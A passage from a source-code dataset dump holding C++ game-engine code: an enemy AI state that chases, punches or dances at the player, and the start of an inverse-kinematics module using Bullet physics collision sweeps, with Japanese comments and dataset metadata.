"text": "#include \"stdafx.h\"\n#include \"EnemyShortBigComing.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Zako/Zako_ShortBig.h\"\n#include \"GameManager.h\"\n\nEnemyShortBigComing::EnemyShortBigComing()\n{\n}\n\nEnemyShortBigComing::~EnemyShortBigComing()\n{\n}\n\nvoid EnemyShortBigComing::Enter(IEnemy* e)\n{\n\te->PlayAnimation(TO_INT(IEnemy::EnAnimation::enRun));\n\n\tif (m_headIK == nullptr)\n\t{\n\t\tm_headIK = e->GetIK(TO_INT(IEnemy::EnIK::enHead));\n\t}\n}\n\n//ジャンプアタック関連以外はEnemyShortRangeComingStateと同じ。」\nIEnemyState* EnemyShortBigComing::Update(IEnemy* e)\n{\n\tauto player = GameManager::GetInstance().m_player;\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\n\t//IK\n\tif (m_headIK != nullptr)\n\t{\n\t\tauto p = ppos;\n\t\tp.y += 10;\n\t\tm_headIK->SetNextTarget(p);\n\t}\n\n\t//プレイヤーが空中にいるなら動かない。\n\tconst float airPlayerYPos = 70.0f;\n\tif (vecToPlayer.y > airPlayerYPos) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enIdleState));\n\t}\n\n\t//const float moveRange = 10.f;\n\tconst float attackRange = 8.f;\n\tconst float idleRange = 150.f;\n\n\tconst float vec2PlayerLen = vecToPlayer.Length();\n\tvecToPlayer /= vec2PlayerLen;\n\n\tif (player->GetCurrentHP() > 0.f) {\n\n\t\tfloat t = acosf(vecToPlayer.Dot(e->GetForward()));\n\n\t\t//近づいたら行動。\n\t\tif (vec2PlayerLen < attackRange && t < Math::PI * 0.3f) {\n\t\t\tauto rand = GRandom().Rand();\n\t\t\t//約30%の確率で行動変化。\n\t\t\tif (rand < 0.05f) {\n\t\t\t\t//ダンス。\n\t\t\t\treturn e->GetState(TO_INT(Zako_ShortBig::EnStateEX::enDance));\n\t\t\t}\n\t\t\telse if (rand < 0.7f) {\n\t\t\t\t//パンチ。\n\t\t\t\treturn e->GetState(TO_INT(IEnemy::EnState::enAttackA));\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//大振りのパンチ。\n\t\t\t\treturn e->GetState(TO_INT(IEnemy::EnState::enAttackB));\n\t\t\t}\n\t\t}\n\t\t//離れたら移動。\n\t\telse {\n\t\t\tMove(e);\n\t\t}\n\t\t//離れすぎたら移動停止。\n\t\tif (vec2PlayerLen > idleRange) {\n\t\t\treturn e->GetState(TO_INT(IEnemy::EnState::enIdleState));\n\t\t}\n\t}\n\n\t//歩いている途中でたまに踊る。\n\tconst float maxTime = 2.5f;\n\tm_danceTimer += gameTime()->GetDeltaTime();\n\tif (m_danceTimer > maxTime) {\n\t\tauto rand = GRandom().Rand();\n\t\t//約5%の確率で踊る。\n\t\tif (rand < 0.05f) {\n\t\t\tm_danceTimer = 0.f;\n\t\t\t//ダンス。\n\t\t\treturn e->GetState(TO_INT(Zako_ShortBig::EnStateEX::enDance));\n\t\t}\n\t\tm_danceTimer = 0.f;\n\t}\n\n\treturn this;\n}\n\nvoid EnemyShortBigComing::Exit(IEnemy* e)\n{\n\te->SetVelocity(Vector3::Zero);\n}\n\nvoid EnemyShortBigComing::Move(IEnemy* e)\n{\n\tauto player = GameManager::GetInstance().GetPlayer();\n\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tvecToPlayer.y = 0.f;\n\tvecToPlayer.Normalize();\n\n\t//普通のゴブリンの速度の1/2 マジックナンバーは変更予定\n\tconst float walkSpeed = 55.0f;\n\tVector3 moveSpeed = vecToPlayer * walkSpeed;\n\n\t//重力。\n\tif (!e->IsOnGround())\n\t\tmoveSpeed.y -= 100.0f;\n\telse\n\t\tDebugPrint_NOMOTO(\"is on ground\");\n\n\te->SetVelocity(moveSpeed);\n}\n\nbool EnemyShortBigComing::IsAnimation()\n{\n\treturn true;\n}"
},
{
"alpha_fraction": 0.6364782452583313,
"alphanum_fraction": 0.6457383632659912,
"avg_line_length": 23.911836624145508,
"blob_id": "66d9e51fcf00722e103ff6fbda472c44040cf508",
"content_id": "45bb22ff346f6ad450b917e1326b9b85195a5540",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 21654,
"license_type": "no_license",
"max_line_length": 110,
"num_lines": 828,
"path": "/UsualEngineR/Graphics/IK/IK.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"IK.h\"\n\n\nnamespace UER\n{\n\t//IK用の当たり判定のやつ\n\tstruct SweepResultIK : public btCollisionWorld::ConvexResultCallback\n\t{\n\t\tbool isHit = false;\n\t\tVector3 hitPos = Vector3::Zero;\n\t\tVector3 startPos = Vector3::Zero;\n\t\tVector3 hitNormal = Vector3::Zero;\n\t\tfloat dist = FLT_MAX;\n\t\tbtCollisionObject* me = nullptr;\n\t\tint chit = 0;\n\t\tbtCollisionObject* hitCollision = nullptr;\n\n\t\tbtScalar\taddSingleResult(btCollisionWorld::LocalConvexResult& convexResult, bool normalInWorldSpace)\n\t\t{\n\t\t\tif (convexResult.m_hitCollisionObject == me\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_Character\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_NonHitIK)\n\t\t\t{\n\t\t\t\tchit += 1;\n\t\t\t\treturn 0.0f;\n\t\t\t}\n\t\t\tisHit = true;\n\t\t\tVector3 hitp = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\t\tVector3 div = startPos - hitp;\n\t\t\tfloat dis = div.Length();\n\t\t\tif (dis < dist)\n\t\t\t{\n\t\t\t\thitNormal = *(Vector3*)&convexResult.m_hitNormalLocal;\n\t\t\t\thitNormal.Normalize();\n\t\t\t\thitPos = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\t\t\tdist = dis;\n\t\t\t\thitCollision = (btCollisionObject*)convexResult.m_hitCollisionObject;\n\t\t\t}\n\t\t\treturn 0.0f;\n\t\t}\n\t};\n\n\t//IK用の当たり判定のやつ\n\tstruct SweepResultIK_Floor : public btCollisionWorld::ConvexResultCallback\n\t{\n\t\tbool isHit = false;\n\t\tVector3 hitPos = Vector3::Zero;\n\t\tVector3 startPos = Vector3::Zero;\n\t\tVector3 hitNormal = Vector3::Zero;\n\t\tfloat dist = FLT_MAX;\n\t\tbtCollisionObject* me = nullptr;\n\t\tint chit = 0;\n\t\tbtCollisionObject* hitCollision = nullptr;\n\n\t\tbtScalar\taddSingleResult(btCollisionWorld::LocalConvexResult& convexResult, bool normalInWorldSpace)\n\t\t{\n\t\t\tif (convexResult.m_hitCollisionObject == me \n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_Character\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_NonHitIK)\n\t\t\t{\n\t\t\t\tchit += 1;\n\t\t\t\treturn 0.0f;\n\t\t\t}\n\t\t\tVector3 norm;\n\t\t\tnorm.Set(convexResult.m_hitNormalLocal);\n\t\t\tnorm.Normalize();\n\t\t\tauto rad = fabsf(acosf(norm.Dot(Vector3::Up)));\n\t\t\tif (rad < Math::PI * 0.4f)\n\t\t\t{\n\t\t\t\tisHit = true;\n\t\t\t\tVector3 hitp = *(Vector3*)& convexResult.m_hitPointLocal;\n\t\t\t\tVector3 div = startPos - hitp;\n\t\t\t\tfloat dis = div.Length();\n\t\t\t\tif (dis < dist)\n\t\t\t\t{\n\t\t\t\t\thitNormal = *(Vector3*)& convexResult.m_hitNormalLocal;\n\t\t\t\t\thitNormal.Normalize();\n\t\t\t\t\thitPos = *(Vector3*)& convexResult.m_hitPointLocal;\n\t\t\t\t\tdist = dis;\n\n\t\t\t\t\thitCollision = (btCollisionObject*)convexResult.m_hitCollisionObject;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn 0.0f;\n\t\t}\n\t};\n\t//IK用の当たり判定のやつ(壁用)\n\tstruct SweepResultIK_Wall : public btCollisionWorld::ConvexResultCallback\n\t{\n\t\tbool isHit = false;\n\t\tVector3 hitPos = Vector3::Zero;\n\t\tVector3 startPos = Vector3::Zero;\n\t\tVector3 hitNormal = Vector3::Zero;\n\t\tfloat dist = FLT_MAX;\n\t\tbtCollisionObject* me = nullptr;\n\t\tint chit = 0;\n\t\tbtCollisionObject* hitCollision = nullptr;\n\n\t\tbtScalar\taddSingleResult(btCollisionWorld::LocalConvexResult& convexResult, bool normalInWorldSpace)\n\t\t{\n\t\t\tif (convexResult.m_hitCollisionObject == me\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_Character\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_NonHitIK)\n\t\t\t{\n\t\t\t\tchit += 1;\n\t\t\t\treturn 0.0f;\n\t\t\t}\n\t\t\tVector3 norm;\n\t\t\tnorm.Set(convexResult.m_hitNormalLocal);\n\t\t\tnorm.Normalize();\n\t\t\tauto rad = fabsf(acosf(norm.Dot(Vector3::Up)));\n\t\t\tif (rad >= Math::PI * 0.2f && rad < Math::PI * 0.85f)\n\t\t\t{\n\t\t\t\tisHit = true;\n\t\t\t\tVector3 hitp = *(Vector3*)& convexResult.m_hitPointLocal;\n\t\t\t\tVector3 div = startPos - hitp;\n\t\t\t\tfloat dis = div.Length();\n\t\t\t\tif (dis < dist)\n\t\t\t\t{\n\t\t\t\t\thitNormal = *(Vector3*)& convexResult.m_hitNormalLocal;\n\t\t\t\t\thitPos = *(Vector3*)& convexResult.m_hitPointLocal;\n\t\t\t\t\tdist = dis;\n\t\t\t\t\thitCollision = (btCollisionObject*)convexResult.m_hitCollisionObject;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn 0.0f;\n\t\t}\n\t};\n\t/// <summary>\n\t/// ボーンのワールドマトリクスを持ってくる\n\t/// </summary>\n\t/// <param name=\"bone\">マトリクスの欲しいボーン</param>\n\t/// <param name=\"worldMat\">モデルのマトリクス</param>\n\t/// <returns></returns>\n\tMatrix GetBoneWorldMatrix(Skeleton* skele, Bone* bone,const Matrix& worldMat)\n\t{\n\t\tBone* parents[32] = { NULL };\n\t\tint cont = 0;\n\t\tBone* b = bone;\n\t\twhile (true)\n\t\t{\n\t\t\tparents[cont++] = b;\n\t\t\tint pNo = b->GetParentBoneNo();\n\t\t\tif (pNo == -1)\n\t\t\t\tbreak;\n\t\t\tb = skele->GetBone(pNo);\n\t\t\t\n\t\t}\n\t\tauto mat = worldMat;\n\t\tfor (int i = cont - 1; i >= 0; i--)\n\t\t{\n\t\t\tconst auto& locmat = parents[i]->GetLocalMatrix();\n\t\t\tmat.Multiply(locmat, mat);\n\t\t}\n\t\t//mat.Mul(bone->GetLocalMatrix(),mat);\n\t\treturn mat;\n\t}\n\n\t/// <summary>\n\t/// ボーンのワールドマトリクスを持ってくる\n\t/// </summary>\n\t/// <param name=\"bone\">マトリクスの欲しいボーン</param>\n\t/// <param name=\"worldMat\">モデルのマトリクス</param>\n\t/// <returns></returns>\n\tMatrix GetBoneWorldMatrix_InRootBoneSpace(Skeleton* skele, Bone* bone, const Matrix& worldMat)\n\t{\n\t\tMatrix mat = bone->GetLocalMatrix() * worldMat;\n\t\treturn mat;\n\t}\n\t/// <summary>\n\t/// \n\t/// </summary>\n\t/// <param name=\"bone\"></param>\n\t/// <param name=\"wm\"></param>\n\t/// <param name=\"worldMat\"></param>\n\t/// <returns></returns>\n\tMatrix GetBoneLocalMatrix(Skeleton* skel,Bone * bone, const Matrix& wm, const Matrix& worldMat)\n\t{\n\t\tMatrix mat = wm;\n\t\tMatrix inv;\n\t\tinv.Inverse(GetBoneWorldMatrix(skel, skel->GetBone(bone->GetParentBoneNo()),worldMat));\n\t\tmat.Multiply(wm, inv);\n\t\treturn mat;\n\t}\n\t/// <summary>\n\t/// \n\t/// </summary>\n\t/// <param name=\"effector\"></param>\n\t/// <param name=\"end\"></param>\n\t/// <returns></returns>\n\tfloat GetLengthEffector2End(Skeleton* skele,Bone* effector, Bone* end)\n\t{\n\t\tfloat len = 0.f;\n\t\tVector3 vlen = Vector3::Zero;\n\t\tBone* pb= skele->GetBone(effector->GetParentBoneNo());\n\t\tfor (Bone* cb = effector; pb != end; pb = skele->GetBone(cb->GetParentBoneNo()))\n\t\t{\n\t\t\tvlen += (cb->GetWorldMatrix().GetTransrate() - pb->GetWorldMatrix().GetTransrate());\n\t\t\tcb = pb;\n\t\t}\n\t\tfor (Bone* b = effector; b != end; b = skele->GetBone(b->GetParentBoneNo()))\n\t\t{\n\t\t\tlen += b->GetWorldMatrix().GetTransrate().Length();\n\t\t}\n\t\treturn len;\n\t}\n\n\n\tIK::IK(Skeleton* skeleton, Bone* effector, Bone* end, float radius, bool isOnRigitBody, const Vector3& pos) :\n\t\tm_skeleton(skeleton),\n\t\tm_effectorBone(effector),\n\t\tm_endBone(end),\n\t\tm_radius(radius),\n\t\tm_isUseRigidBody(isOnRigitBody)\n\t{\n\t\tm_collider.Create(radius);\n\t\tif(isOnRigitBody)\n\t\t\tInitRigidBody(pos);\n\t}\n\n\tIK::~IK()\n\t{\n\t\tif (m_isUseRigidBody)\n\t\t{\n\t\t\tPhysics().RemoveRigidBody(m_rigidBody);\n\t\t\tm_rigidBody.Release();\n\t\t}\n\t\tm_collider.Release();\n\t}\n\n\tvoid IK::InitGhost()\n\t{\n\t\tm_isUseGhost = true;\n\t\tm_ghost.Create(&m_collider,Vector3::Zero,Quaternion::Identity);\n\t}\n\n\tvoid IK::InitRigidBody(const Vector3& pos)\n\t{\n\t\tRigidBodyInfo rbinfo;\n\t\trbinfo.mass = 0.f;\n\t\trbinfo.collider = &m_collider;\n\t\tm_rigidBody.Create(rbinfo);\n\t\tm_rigidBody.GetBody()->setUserIndex(enCollisionAttr_Character|enCollisionAttr_NonHitIK|enCOllisionAttr_IK);\n\t\tm_rigidBody.GetBody()->setCollisionFlags(btCollisionObject::CF_CHARACTER_OBJECT);\n\t\tauto& rpos = m_rigidBody.GetBody()->getWorldTransform();\n\t\tMatrix base,tr;\n\t\tbase = Matrix::Identity;\n\t\ttr.MakeTranslation(pos);\n\t\ttr.Multiply(base, tr);\n\t\tauto m = GetBoneWorldMatrix(m_skeleton, m_effectorBone, tr);\n\t\trpos.setOrigin(btVector3(m.m[3][0], m.m[3][1], m.m[3][2]));\n\t\tPhysics().AddRigidBody(m_rigidBody);\n\t}\n\n\tvoid IK::UpdateTarget(const Matrix& worldMat)\n\t{\n\t\tswitch (m_ikMode)\n\t\t{\n\t\tcase enMode_Normal:\n\t\t\tUpdateTarget_Normal(worldMat);\n\t\t\tbreak;\n\t\tcase enMode_Foot:\n\t\t\tUpdateTarget_Foot(worldMat);\n\t\t\tbreak;\n\t\tcase enMode_NoneHit:\n\t\t\tUpdateTarget_NoneHit(worldMat);\n\t\t\tbreak;\n\t\tcase enMode_NoAnimHit:\n\t\t\tUpdateTarget_NoAnimHit(worldMat);\n\t\t\tbreak;\n\t\t}\n\t\t//if (m_ikMode != enMode_NoAnimHit)\n\t\tm_isToggleNoAnimHit = false;\n\t}\n\n\n\t/// <summary>\n\t/// \n\t/// </summary>\n\t/// <param name=\"worldMat\"></param>\n\tvoid IK::UpdateTarget_Normal(const Matrix& worldMat)\n\t{\n\t\tauto effmat = GetBoneWorldMatrix(m_skeleton, m_effectorBone, worldMat);\n\t\tauto effpos = effmat.GetTransrate();\n\t\tauto currentBone = m_skeleton->GetBone(m_effectorBone->GetParentBoneNo());\t\t\t\t\t\t//作業中のボーン\n\n\t\tauto newpos = effpos + m_velocity;\t//移動先のポジション\n\t\tif (m_isSetNextTarget)\n\t\t{\n\t\t\tnewpos = m_nextTarget;\n\t\t\tm_isSetNextTarget = false;\n\t\t\tm_isSetOldTarget = true;\n\t\t}\n\n\t\tauto oldpos = m_effectorBone->GetWorldMatrix().GetTransrate();\t//移動前のポジション\n\t\tif (m_isFirst)\n\t\t{\n\t\t\toldpos += worldMat.GetTransrate();\n\t\t\tm_isFirst = false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\toldpos = m_target;\n\t\t}\n\t\tVector3 o2n = (newpos - oldpos);\n\t\tif (o2n.Length() <= 2.0e-5f)\n\t\t\treturn;\n\n\t\tSweepResultIK sr;\n\t\tsr.startPos = oldpos;\n\t\tsr.me = m_rigidBody.GetBody();\n\n\t\tVector3 target = newpos;//ターゲット\n\n\t\t//if((oldpos-newpos).Length() > FLT_EPSILON)\n\n\t\tbtTransform bstart, bend;\n\t\tbstart.setIdentity();\n\t\tbend.setIdentity();\n\t\tbstart.setOrigin(btVector3(oldpos.x, oldpos.y, oldpos.z));\n\t\tbend.setOrigin(btVector3(newpos.x, newpos.y, newpos.z));\n\t\tbool isHit = false;\n\t\tVector3 tarbuf = newpos;\n\t\twhile(true)\n\t\t{\n\n\t\t\t//Physics().ConvexSweepTest((const btConvexShape*)m_collider.GetBody(), bstart, bend, sr);\n\t\t\tif (sr.isHit)\n\t\t\t{\n\t\t\t\tauto meri = target - sr.hitPos;\n\t\t\t\tfloat rad = sr.hitNormal.Dot(meri);\n\t\t\t\t//auto ntarget = target + sr.hitNormal * (-rad + m_radius + 0.2f);\n\t\t\t\tif (!m_isHit)\n\t\t\t\t{\n\t\t\t\t\t//m_effectorBone->SetIsONGround(true);\n\n\t\t\t\t\ttarget = sr.hitPos + sr.hitNormal * (m_radius+0.2f);\n\t\t\t\t\t//target.Lerp(m_rubbing, ntarget, target);\n\t\t\t\t\t//m_rubTarget = ntarget;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\ttarget = sr.hitPos + sr.hitNormal * (m_radius + 0.2f);\n\t\t\t\t\t//target.Lerp(m_rubbing, ntarget, m_target);\n\t\t\t\t}\n\t\t\t\tauto t2t = (target - tarbuf);\n\t\t\t\tfloat l = t2t.Length();\n\t\t\t\tif (l < 2.0e-5f)\n\t\t\t\t\tbreak;\n\t\t\t\tauto o2t = (target - oldpos);\n\t\t\t\tl = o2t.Length();\n\t\t\t\tif (l < 2.0e-5f)\n\t\t\t\t\treturn;\n\t\t\t\tisHit = true;\n\t\t\t\ttarbuf = target;\n\t\t\t\tbend.setOrigin(btVector3(target.x, target.y, target.z));\n\t\t\t\tsr.dist = FLT_MAX;\n\t\t\t\tsr.isHit = false;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t/*if(!isHit)\n\t\t\t\t\tm_effectorBone->SetIsONGround(false);\n\t\t\t\tif (m_isHit)\n\t\t\t\t{\n\t\t\t\t\tm_effectorBone->SetMomentum(newpos - oldpos);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tm_effectorBone->SetMomentum(Vector3::Zero);\n\t\t\t\t}*/\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t//m_target += (target - oldpos);// *m_speed;\n\t\tm_target = target;\n\n\t\t//m_isHit = sr.isHit;\n\t\tm_isHit = isHit;\n\n\t\t//m_move = newpos - m_target;\n\t\t//auto o2n = m_target - oldpos;\n\t\t//m_effectorBone->SetMove(m_move);\n\n\t\t//m_offset = Vector3::Zero;\n\t\tm_velocity = Vector3::Zero;\n\t\tif (m_isUseRigidBody)\n\t\t\tUpdateRigidBody(m_target);\n\t}\n\n\n\t/// <summary>\n\t/// \n\t/// </summary>\n\t/// <param name=\"worldMat\"></param>\n\tvoid IK::UpdateTarget_Foot(const Matrix& worldMat)\n\t{\n#if 0\n\t\tauto effmat = GetBoneWorldMatrix(m_effectorBone, worldMat);\n\t\tauto effpos = effmat.GetTransrate();\n\t\tauto currentBone = m_effectorBone->GetParent();\t\t\t\t\t\t//作業中のボーン\n\t\tauto modelpos = worldMat.GetTransrate();\t\t//モデルのポジション\n\n\t\tauto orgpos = effpos - modelpos;//モデルのポジションからの距離\n\t\torgpos += m_offset;\n\t\tVector3 newpos;\t//移動先のポジション\n\t\tif (m_isSetNextTarget)\n\t\t{\n\t\t\tnewpos = m_nextTarget + m_offset;\n\t\t\torgpos = newpos- modelpos;\n\t\t\tm_isSetNextTarget = false;\n\t\t\tm_isSetOldTarget = true;\n\t\t}\n\t\telse\n\t\t\tnewpos = effpos + m_offset;\n\n\t\t//if (m_timer <= 0.5f)\t\t//ボーンの移動量からターゲットを求めるやつ\n\t\t//{\n\t\t//\t//effmat = GetBoneWorldMatrix(m_effectorBone, imat);\n\t\t//\t//effpos = effmat.GetTransrate();\n\t\t//\t//auto move = (effpos+m_offset) - m_oldNewTarget;\n\t\t//\t//newpos = m_target + move;\n\t\t//}\n\t\t//else\n\t\t//{\n\t\t//\tm_timer = 0.0f;\n\t\t//}\n\t\t//m_timer += gameTime()->GetDeltaTime();\n\n\t\tm_oldTarget = m_target;\n\t\tVector3 oldpos;\t//移動前のポジション\n\t\tif (m_isFirst)\n\t\t{\n\t\t\toldpos = m_effectorBone->GetBindPoseMatrix().GetTransrate();\n\t\t\toldpos += modelpos;\n\t\t\tm_isFirst = false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\toldpos = m_target;\n\t\t}\n\n\t\tm_animMove = orgpos - m_oldNewTarget;\n\t\t//重力処理。\n\t\tfloat time = gameTime()->GetDeltaTime();\n\t\tif ((m_animMove.y) <= m_radius*0.05f)\t//下に移動している\n\t\t{\n\t\t\tm_gravitPow += m_gravity * time;\n\t\t\tm_effectorBone->SetIsDown(true);\n\t\t}\n\t\telse\t//上に移動している\n\t\t{\n\t\t\tm_gravitPow = 0.f;\n\t\t\tm_effectorBone->SetIsDown(false);\n\t\t}\n\t\tnewpos.y -= m_gravitPow;\t\t//プラスグラビティ(マイナス)\n\n\t\tif ((newpos - oldpos).Length() < FLT_EPSILON)\t\t//ほんまに移動してんのか?\n\t\t\treturn;\t//移動してないやん!!\n\n\t\t//oldpos.y += m_radius;\n\t\tVector3 nowpos = oldpos;\t\t//正直いらない\n\t\tVector3 target = oldpos;\t\t//真の移動先。\n\t\tbtTransform bstart, bend;\t\t\t\n\t\tbstart.setIdentity();\n\t\tbend.setIdentity();\n\t\tbool isHitGround = false;\t\t//地面に当たった?\n\n\n\t\tif (fabsf(orgpos.y - m_oldNewTarget.y) > FLT_EPSILON)\n\t\t{\n\t\t\tSweepResultIK_Floor sr;\n\t\t\tsr.startPos = oldpos;\n\t\t\tsr.me = m_rigidBody.GetBody();\n\n\t\t\tbstart.setOrigin(btVector3(oldpos.x, oldpos.y, oldpos.z));\n\t\t\t//bend.setOrigin(btVector3(newpos.x, newpos.y, newpos.z));\n\t\t\tbend.setOrigin(btVector3(oldpos.x, newpos.y, oldpos.z));\n\n\t\t\t//target = newpos;//ターゲット\n\t\t\tPhysics().ConvexSweepTest((const btConvexShape*)m_collider.GetBody(), bstart, bend, sr);\n\t\t\tif (sr.isHit)\n\t\t\t{\n\t\t\t\ttarget = oldpos;\n\t\t\t\ttarget.y = sr.hitPos.y + m_radius;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttarget.y = newpos.y;\n\t\t\t\tif (m_isHit)\n\t\t\t\t{\n\t\t\t\t\tm_effectorBone->SetMomentum(newpos - nowpos);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tm_effectorBone->SetMomentum(Vector3::Zero);\n\t\t\t\t}\n\t\t\t}\n\t\t\tm_effectorBone->SetIsONGround(sr.isHit);\n\t\t\tisHitGround = sr.isHit;\n\t\t\tm_hitCollision = sr.hitCollision;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm_effectorBone->SetIsONGround(m_isHit);\n\t\t\tisHitGround = m_isHit;\n\t\t}\n\t\t\n\n\n\t\tif ((Vector3( oldpos.x, 0.f, oldpos.z) -Vector3( newpos.x, 0.f, newpos.z )).Length() > FLT_EPSILON)\n\t\t{\n\t\t\t//壁の判定。\n\t\t\tbstart.setOrigin(btVector3(oldpos.x, target.y, oldpos.z));\n\t\t\tbend.setOrigin(btVector3(newpos.x, target.y, newpos.z));\n\t\t\tVector3 newpos2 = newpos;\n\t\t\tnewpos2.y = target.y;\n\t\t\tSweepResultIK_Wall sr_w;\n\t\t\tsr_w.me = m_rigidBody.GetBody();\n\t\t\tsr_w.startPos = Vector3(oldpos.x, target.y, oldpos.z);\n\t\t\tPhysics().ConvexSweepTest((const btConvexShape*)m_collider.GetBody(), bstart, bend, sr_w);\n\t\t\tif (sr_w.isHit)\n\t\t\t{\n\t\t\t\t//m_effectorBone->SetIsONGround(true);\n\n\t\t\t\tauto norm = sr_w.hitNormal;\n\t\t\t\tnorm.Normalize();\n\t\t\t\tauto meri = newpos2 - sr_w.hitPos;\n\n\t\t\t\tfloat rad = norm.Dot(meri);\n\t\t\t\tauto ntar = newpos2 + sr_w.hitNormal * (-rad + m_radius);\n\t\t\t\tif (isHitGround)\n\t\t\t\t\ttarget.Lerp(m_rubbing, ntar, target);\n\t\t\t\telse\n\t\t\t\t\ttarget = ntar;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (isHitGround)\n\t\t\t\t\ttarget.Lerp(m_rubbing, newpos2, target);\n\t\t\t\telse\n\t\t\t\t\ttarget = newpos2;\n\t\t\t}\n\t\t\tm_hitCollision = sr_w.hitCollision;\n\t\t}\n\n//#if 1\n\t\tif (fabsf(orgpos.y - m_oldNewTarget.y) > m_radius * 0.05f && fabsf(target.y - newpos.y) > FLT_EPSILON)\n\t\t{\n\t\t\tSweepResultIK_Floor sr;\n\t\t\tsr.startPos = target;\n\t\t\tsr.me = m_rigidBody.GetBody();\n\n\t\t\tbstart.setOrigin(btVector3(target.x, target.y, target.z));\n\t\t\tbend.setOrigin(btVector3(target.x, newpos.y, target.z));\n\n\t\t\t//target = newpos;//ターゲット\n\t\t\tPhysics().ConvexSweepTest((const btConvexShape*)m_collider.GetBody(), bstart, bend, sr);\n\t\t\tif (sr.isHit)\n\t\t\t{\n\t\t\t\ttarget.y = sr.hitPos.y + m_radius;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttarget.y = newpos.y;\n\t\t\t\tif (m_isHit)\n\t\t\t\t{\n\t\t\t\t\tm_effectorBone->SetMomentum(newpos - nowpos);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tm_effectorBone->SetMomentum(Vector3::Zero);\n\t\t\t\t}\n\t\t\t}\n\t\t\tm_effectorBone->SetIsONGround(sr.isHit);\n\t\t\tisHitGround = sr.isHit;\n\t\t\tm_hitCollision = sr.hitCollision;\n\t\t}\n//#endif\n\n\t\tm_target += (target - nowpos) * m_speed;\n\t\t\n\t\tm_isHit = isHitGround;\n\t\t\n\t\tm_move = (orgpos+m_offset) - (m_target- modelpos);\n\n\t\tm_effectorBone->SetMove(m_move);\n\t\tm_oldNewTarget = orgpos;\n\t\tm_offset = Vector3::Zero;\n\n\t\tif (m_isUseRigidBody)\n\t\t\tUpdateRigidBody(m_target);\n#endif\n\t}\n\n\n\tvoid IK::UpdateTarget_NoneHit(const Matrix& worldMat)\n\t{\n\t\tif (m_isUseGhost)\n\t\t{\n\t\t\t//DebugPrintValue(EDebugConsoleKind::common, \"hit num\", m_ghost.GetGhost()->getNumOverlappingObjects());\n\t\t\tbool hit = false;\n\t\t\tfor (int i = 0; i < m_ghost.GetGhost()->getNumOverlappingObjects(); i++)\n\t\t\t{\n\t\t\t\tauto o = m_ghost.GetGhost()->getOverlappingObject(i);\n\t\t\t\tint ind = o->getUserIndex();\n\t\t\t\tif (!(ind & enCollisionAttr_Character\n\t\t\t\t\t|| ind & enCollisionAttr_NonHitIK\n\t\t\t\t\t|| ind & enCollisionAttr_NonHit))\n\t\t\t\t{\n\t\t\t\t\t//printf(\"HIT!!!\");\n\t\t\t\t\tm_isHit = true;\n\t\t\t\t\thit = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!hit)\n\t\t\t{\n\t\t\t\tm_isHit = false;\n\t\t\t}\n\t\t\t\t\n\t\t}\n\n\t\tm_oldTarget = m_target;\n\t\tif (m_isSetNextTarget)\n\t\t\tm_target = m_nextTarget;\n\t\t\n\t\tif (m_isUseRigidBody)\n\t\t\tUpdateRigidBody(m_target);\n\n\t\tm_ghost.SetPosition(m_effectorBone->GetWorldMatrix().GetTransrate());\n\t}\n\n\tvoid IK::UpdateTarget_NoAnimHit(const Matrix& worldMat)\n\t{\n\n\t\tif (m_isToggleNoAnimHit)\n\t\t{\n\t\t\tauto effmat = GetBoneWorldMatrix(m_skeleton, m_effectorBone, worldMat);\n\t\t\tm_target = effmat.GetTransrate();\n\t\t}\n\n\t\tVector3 newpos = m_target;\n\n\t\tif (m_isSetNextTarget)\n\t\t{\n\t\t\tnewpos = m_nextTarget;\n\t\t\tm_isSetNextTarget = false;\n\t\t\tm_isSetOldTarget = true;\n\t\t}\n\t\tnewpos += m_velocity;\n\n\t\tauto oldpos = m_effectorBone->GetWorldMatrix().GetTransrate();\t//移動前のポジション\n\t\tif (m_isFirst)\n\t\t{\n\t\t\toldpos += worldMat.GetTransrate();\n\t\t\tm_isFirst = false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\toldpos = m_target;\n\t\t}\n\t\tVector3 o2n = (newpos - oldpos);\n\t\tif (o2n.Length() <= 2.0e-5f)\n\t\t\treturn;\n\n\t\tSweepResultIK sr;\n\t\tsr.startPos = oldpos;\n\t\tsr.me = m_rigidBody.GetBody();\n\n\t\tVector3 target = newpos;//ターゲット\n\n\n\t\tbtTransform bstart, 